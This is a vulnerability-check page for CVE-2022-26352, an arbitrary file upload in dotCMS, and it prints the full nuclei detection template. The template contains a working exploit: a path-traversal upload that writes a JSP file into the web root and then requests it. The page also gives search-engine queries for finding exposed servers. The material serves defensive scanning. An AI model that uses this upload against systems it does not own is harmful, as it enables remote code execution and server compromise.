Browse / CVEs / CVE-2022-26352
CVE-2022-26352· dotcms / dotcms· CWE-22
DotCMS - Arbitrary File Upload
Exploited in the wild. Listed by CISA on 2022-08-25; known to be used by ransomware.
DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
Impact
Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
Fix
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
How to confirm it
Send: POST /api/content/ ; GET /{{randstr}}.jsp
Positive when: contains(body_2, "CVE-2022-26352") and status_code_2 == 200Run it with nuclei: nuclei -id CVE-2022-26352 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-26352
info:
name: DotCMS - Arbitrary File Upload
author: h1ei1
severity: critical
description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
impact: |
Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
reference:
- https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
- https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
- http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
- https://groups.google.com/g/dotcms
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-26352
cwe-id: CWE-22
epss-score: 0.91248
epss-percentile: 0.99811
cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: dotcms
product: dotcms
shodan-query: http.title:"dotcms"
fofa-query: title="dotcms"
google-query: intitle:"dotcms"
tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive,vkev,vuln
http:
- raw:
- |
POST /api/content/ HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
--------------------------aadc326f7ae3eac3
Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
Content-Type: text/plain
<%
out.println("CVE-2022-26352");
%>
--------------------------aadc326f7ae3eac3--
- |
GET /{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "CVE-2022-26352")'
- 'status_code_2 == 200'
condition: andReferences
- https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
- https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
- http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
- https://groups.google.com/g/dotcms
Use this check only on systems you are authorised to test. Where the data comes from